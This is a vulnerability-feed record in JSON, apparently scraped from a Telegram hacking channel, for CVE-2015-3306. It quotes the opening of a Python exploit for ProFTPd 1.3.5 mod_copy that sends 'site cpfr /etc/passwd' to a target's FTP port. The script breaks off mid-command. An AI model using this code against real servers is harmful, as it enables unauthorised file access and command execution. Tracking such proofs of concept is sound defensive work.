{"uuid": "14bcd92b-bcee-4198-8653-18cb72b1520d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2015-3306", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/10252", "content": "Exploit Collector\nProFTPd 1.3.5 Remote Command Execution\n\nhttps://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png \nProFTPd version 1.3.5 remote command execution exploit. This is a variant of the original vulnerability discovered in 2015 with credit going to R-73eN.\n\nMD5 | 65284b1eff912220e6161a800f3801c5\n\nDownload\n# Exploit Title: ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2)\n# Date: 25/05/2021\n# Exploit Author: Shellbr3ak\n# Version: 1.3.5 \n# Tested on: Ubuntu 16.04.6 LTS\n# CVE : CVE-2015-3306\n\n#!/usr/bin/env python3\n\nimport sys\nimport socket\nimport requests\n\ndef exploit(client, target):\nclient.connect((target,21)) # Connecting to the target server\nbanner = client.recv(74)\nprint(banner.decode())\nclient.send(b'site cpfr /etc/passwd\\r\\n')\nprint(client.recv(1024).decode())\nclient.send(b'site cpto \nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T06:00:04.945919Z"}